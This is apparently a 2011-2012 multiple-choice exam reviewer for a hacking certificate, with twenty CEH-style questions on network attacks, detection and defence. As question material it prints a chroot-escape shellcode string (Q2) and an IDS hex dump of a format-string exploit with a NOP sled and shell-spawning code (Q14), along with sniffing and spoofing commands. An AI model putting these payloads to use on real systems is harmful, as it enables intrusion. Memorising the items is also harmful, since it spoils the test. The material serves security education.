REVIEWER FOR 1ST SEMESTER AY 2011-2012

FORESEC CERTIFICATE IN COMPUTER HACKING

Instruction: *Select the letter of the correct answer.*

1. A user on your Windows 2000 network has discovered that he can use L0phtcrack to sniff the SMB exchange which carries user logons. The user is plugged into a hub with 23 other systems. However, he is unable to capture any logons though he knows that other users are logging on. What do you think is the most likely reason behind this?

   a. L0phtcrack only sniffs logons to web servers
   b. Windows logons cannot be sniffed
   c. Kerberos is preventing it
   d. There is a NIDS present on that segment

2. While investigating a claim of a user downloading illegal material, the investigator goes through the files on the suspect's workstation. He comes across a file that is just called "file.txt" but when he opens it, he finds the following:

```
   #define MAKE_STR_FROM_RET(x)
((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
   char infin_loop[]= /* for testing purposes */
     "\xEB\xFE";
   char bsdcode[] = /* Lam3rZ chroot() code by venglin */
     "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43"
      "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0"
      "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0"
      "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80"
      "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9"

      "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75"
      "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd"
      "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46"
      "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
      "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53"
      "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\x01\xff\xff\x30"
      "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e"
      "\x67\x6c\x69\x6e";
      static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
      static char *magic_str=NULL;
      int before_len=0;
```

   What can he infer from this file?

   a. A buffer overflow
   b. An encrypted file
   c. A uuencoded file
   d. A picture that has been renamed with a .txt extension

3. Virus Scrubbers and other malware detection program can only detect items they know about. Which of the following tool would allow you to detect unauthorized changes or modification of binary files on your system by unknown malware?

   a. A properly configured gateway
   b. There is no way of finding out until a new updated signature file is released
   c. Anti-Virus Software
   d. File integrity verification tools

4. Bob was frustrated with his competitor, Brownies Inc., and decided to launch an attack that would result in serious financial losses. He planned the attack carefully and carried out the attack at the appropriate moment. Meanwhile, Trent, an administrator at Brownies Inc., realized that their main financial transaction server had been attacked. As a result of

the attack, the server crashed and Trent needed to reboot the system, as no one was able to access the resources of the company. This process involves human interaction to fix it. What kind of Denial of Service attack was best illustrated in the scenario above?

a. DOS attacks which involves crashing a network or system
b. DOS attacks which is done accidentally or deliberately
c. Simple DDOS attack
d. DOS attacks which involves flooding a network or system

5. You ping a target IP to check if the host is up. You do not get a response. You suspect ICMP is blocked at the firewall. Next you use hping2 tool to ping the target host and you get a response. Why does the host respond to hping2 and not ping packet?

```
[ceh]# ping 10.2.3.4
PING 10.2.3.4 (10.2.3.4) from 10.2.3.80 : 56(84) bytes of data.
--- 10.2.3.4 ping statistics ---
3 packets transmitted, 0 packets received, 100% packet loss
[ceh]# ./hping2 -c 4 -n -i 2 10.2.3.4
HPING 10.2.3.4 (eth0 10.2.3.4): NO FLAGS are set, 40 headers +
 0 data bytes
len=46 ip=10.2.3.4 flags=RA seq=0 ttl=128 id=54167 win=0 rtt=0.8 ms
len=46 ip=10.2.3.4 flags=RA seq=1 ttl=128 id=54935 win=0 rtt=0.7 ms
len=46 ip=10.2.3.4 flags=RA seq=2 ttl=128 id=55447 win=0 rtt=0.7 ms
len=46 ip=10.2.3.4 flags=RA seq=3 ttl=128 id=55959 win=0 rtt=0.7 ms
--- 10.2.3.4 hping statistic ---
4 packets tramitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.7/0.8/0.8 ms
```

a. ping packets cannot bypass firewalls
b. hping2 uses TCP instead of ICMP by default
c. you must use ping 10.2.3.4 –X switch
d. hping2 uses stealth TCP packets to connect

6. Erik notices a big increase in UDP packets sent to port 1026 and 1027 occasionally. He enters the following at the command prompt.
$ nc -l -p 1026 -u -v
In response, he sees the following message.

> cell(?(c)???漿?STOPALERT77STOP! WINDOWS REQUIRES IMMEDIATE ATTENTION.
> Windows has found 47 Critical Errors.
> To fix the errors please do the following: 1. Download Registry Repair from: www.reg-patch.com 2. Install Registry Repair 3. Run Registry Repair 4. Reboot your computer FAILURE TO ACT NOW MAY LEAD TO DATA LOSS AND CORRUPTION!

What would you infer from this alert?

a. An attacker has compromised the machine and backdoored ports 1026 and 1027
b. It is a messenger spam. Windows creates a listener on one of the low dynamic ports from 1026 to 1029 and the message usually promotes malware disguised as legitimate utilities
c. It is a genuine fault of windows registry and the registry needs to be backed up
d. The machine is redirecting traffic to www.reg-patch.com using adware

7. A client has approached you with a penetration test requirement. They are concerned with the possibility of external threat, and have invested considerable resources in protecting their Internet exposure. However, their main concern is the possibility of an employee elevating his/her privileges and gaining access to information outside of their department.

What kind of penetration test would you recommend that would best address the client's concern?

a. A White Hat test
b. A Grey Hat test
c. A Grey Box test
d. A Black Box test
e. A Black Hat test

8. How would you prevent session hijacking attacks?

   a. Using non-Internet protocols like http secures sessions against hijacking
   b. Using biometrics access tokens secures sessions against hijacking
   c. Using unpredictable sequence numbers secures sessions against hijacking
   d. Using hardware-based authentication secures sessions against hijacking

9. You are the Security Administrator of Xtrinity, Inc. You write security policies and conduct assessments to protect the company's network. During one of your periodic checks to see how well policy is being observed by the employees, you discover an employee has attached a modem to his telephone line and workstation. He has used this modem to dial in to his workstation, thereby bypassing your firewall. A security breach has occurred as a direct result of this activity. The employee explains that he used the modem because he had to download software for a department project.

   How would you resolve this situation?

   a. Reconfigure the firewall
   b. Enforce the corporate security policy
   c. Conduct a needs analysis
   d. Install a network-based IDS

10. Clive has been monitoring his IDS and sees that there are a huge number of ICMP Echo Reply packets that are being received on the external gateway interface. Further inspection reveals they are not responses from internal hosts' requests but simply responses coming from the Internet. What could be the likely cause of this?

    a. Someone spoofed Clive's IP address while doing a land attack
    b. Someone spoofed Clive's IP address while doing a fraggle attack
    c. Someone spoofed Clive's IP address while doing a smurf attack
    d. Someone spoofed Clive's IP address while doing a DoS attack

11. What does the following command in "Ettercap" do?
    ettercap -NCLzs --quiet

    a. This command will provide you the entire list of hosts in the LAN
    b. This command will detach ettercap from console and log all the sniffed passwords to a file
    c. This command broadcasts ping to scan the LAN instead of ARP request all the subnet IPs
    d. This command will check if someone is poisoning you and will report its IP

12. While probing an organization you discover that they have a wireless network. From your attempts to connect to the WLAN you determine that they are using MAC filtering by using ACLs on the access points. What would be the easiest way to circumvent this and connect to the WLAN?

    a. Steal a client computer and use it to access the wireless network
    b. Attempt to brute force the access point and update or delete the MAC ACL's
    c. Sniff traffic off the WLAN and spoof your MAC address to the one that you have captured
    d. Attempt to crack the WEP key using Airsnort

13. Jack Hacker wants to break into Brown Co.'s computers and obtain their secret double fudge cookie recipe. Jack calls Jane, an accountant at Brown Co., pretending to be an administrator from Brown Co. Jack tells Jane that there has been a problem with some accounts and asks her to verify her password with him ''just to double check our records.'' Jane does not suspect anything amiss, and parts with her password. Jack can now access

Brown Co.'s computers with a valid user name and password, to steal the cookie recipe. What kind of attack is being illustrated here?

a. Spoofing Identity
b. Reverse Psychology
c. Faking Identity
d. Reverse Engineering
e. Social Engineering

14. The following is an entry captured by a network IDS. You are assigned the task of analyzing this entry. You notice the value 0x90, which is the most common NOOP instruction for the Intel processor. You figure that the attacker is attempting a buffer overflow attack. You also notice "/bin/sh" in the ASCII part of the output. As an analyst what would you conclude about the attack?

```
45 00 01 ce 28 1e 40 00 32 06 96 92 d1 3a 18 09 86 9f 18 97 E..Î(.@.2...Ñ:......
06 38 02 03 6f 54 4f a9 01 af fe 78 50 18 7d 78 76 dd 00 00 .8..oTO©.¯þxP.}xvÝ..
42 42 20 f7 ff bf 21 f7 ff bf 22 f7 ff bf 23 f7 ff bf 58 58 BB ÷ÿ¿!÷ÿ¿"÷ÿ¿#÷ÿ¿XX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 25 2e 32 32 XXXXXXXXXXXXXXXX%.22
34 75 25 33 30 30 24 6e 25 2e 32 31 33 75 25 33 30 31 24 6e 4u%300$n%.213u%301$n
73 65 63 75 25 33 30 32 24 6e 25 2e 31 39 32 75 25 33 30 33 secu%302$n%.192u%303
24 6e 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 $n..................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 31 db 31 c9 31 c0 b0 46 cd 80 89 e5 31 d2 b2 66 89 d0 ..1Û1É1À°FÍ..å1Ò²f.Ð
31 c9 89 cb 43 89 5d f8 43 89 5d f4 4b 89 4d fc 8d 4d f4 cd 1É.ËC.]øC.]ôK.Mü.MôÍ
80 31 c9 89 45 f4 43 66 89 5d ec 66 c7 45 ee 0f 27 89 4d f0 .1É.EôCf.]ìfÇEî.'.Mð
8d 45 ec 89 45 f8 c6 45 fc 10 89 d0 8d 4d f4 cd 80 89 d0 43 .Eì.EøÆEü..Ð.MôÍ..ÐC
43 cd 80 89 d0 43 cd 80 89 c3 31 c9 b2 3f 89 d0 cd 80 89 d0 CÍ..ÐCÍ..Ã1É²?.ÐÍ..Ð
41 cd 80 eb 18 5e 89 75 08 31 c0 88 46 07 89 45 0c b0 0b 89 AÍ.ë.^.u.1À.F..E.°..
f3 8d 4d 08 8d 55 0c cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 73 ó.M..U.Í.èãÿÿÿ/bin/s
68 0a h.
EVENT4: [NOOP:X86] (tcp,dp=515,sp=1592)
```

a. The attacker is attempting a buffer overflow attack and has succeeded
b. The attacker is attempting an exploit that launches a command-line shell
c. The attacker is creating a directory on the compromised machine
d. The buffer overflow attack has been neutralized by the IDS

15. LM authentication is not as strong as Windows NT authentication so you may want to disable its use, because an attacker eavesdropping on network traffic will attack the weaker protocol. A successful attack can compromise the user's password. How do you disable LM authentication in Windows XP?

a. Disable LSASS service in Windows XP
b. Download and install LMSHUT.EXE tool from Microsoft's website
c. Stop the LM service in Windows XP
d. Disable LM authentication in the registry

16. Study the log below and identify the scan type.

```
tcpdump -vv host 192.168.1.10
17:34:45.802163 eth0 < 192.168.1.1 > victim: ip-proto-117 0 (ttl 48, id 36166)
17:34:45.802216 eth0 < 192.168.1.1 > victim: ip-proto-25 0 (ttl 48, id 33796)
17:34:45.802266 eth0 < 192.168.1.1 > victim: ip-proto-162 0 (ttl 48, id 47066)
17:34:46.111982 eth0 < 192.168.1.1 > victim: ip-proto-74 0 (ttl 48, id 35585)
17:34:46.112039 eth0 < 192.168.1.1 > victim: ip-proto-117 0 (ttl 48, id 32834)
17:34:46.112092 eth0 < 192.168.1.1 > victim: ip-proto-25 0 (ttl 48, id 26292)
17:34:46.112143 eth0 < 192.168.1.1 > victim: ip-proto-162 0 (ttl 48, id 51058)

tcpdump -vv -x host 192.168.1.10
17:35:06.731739 eth0 < 192.168.1.10 > victim: ip-proto-130 0 (ttl 59, id 42060) 4500 0014 a44c
```

0000 3b82 57b8 c0a8 010a c0a8 0109 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000

a. nmap –sS 192.168.1.10
b. nmap –sV 192.168.1.10
c. nmap –sR 192.168.1.10
d. nmap -sO -T 192.168.1.10

17. You are foot printing an organization and gathering competitive intelligence. You visit the company's website for contact information and telephone numbers but do not find them listed there. You know they had the entire staff directory listed on their website 12 months ago but now it is not there. Is there any way you can retrieve information from a website that is outdated?

    a. Crawl the entire website and store them into your computer
    b. Visit the company's partners and customers website for this information
    c. Visit Archive.org web site to retrieve the Internet archive of the company's website
    d. Visit goggle's search engine and view the cached copy

18. In the context of password security: a simple dictionary attack involves loading a dictionary file (a text file full of dictionary words) into a cracking application such as L0phtCrack or John the Ripper, and running it against user accounts located by the application. The larger the word and word fragment selection, the more effective the dictionary attack is. The brute force method is the most inclusive - though slow. Usually, it tries every possible letter and number combination in its automated exploration. If you would use both brute force and dictionary combined together to have variations of words, what would you call such an attack?

    a. Full Blown
    b. BruteDict
    c. Hybrid
    d. Thorough

19. What is the advantage in encrypting the communication between the agent and the monitor in an Intrusion Detection System?

    a. Encryption of agent communications will conceal the presence of the agents
    b. The monitor will know if counterfeit messages are being generated because they will not be encrypted
    c. Alerts are sent to the monitor when a potential intrusion is detected
    d. An intruder could intercept and delete data or alerts and the intrusion can go undetected

20. Jonathan being a keen administrator has followed all of the best practices he could find on securing his Windows Server. He renamed the Administrator account to a new name that cannot be easily guessed but there remain people who attempt to compromise his newly renamed administrator account. How can a remote attacker decipher the name of the administrator account if it has been renamed?

    a. The attacker used the sid2user program
    b. The attacker guessed the new name
    c. The attacker used NMAP with the V switch
    d. The attacker used the user2sid program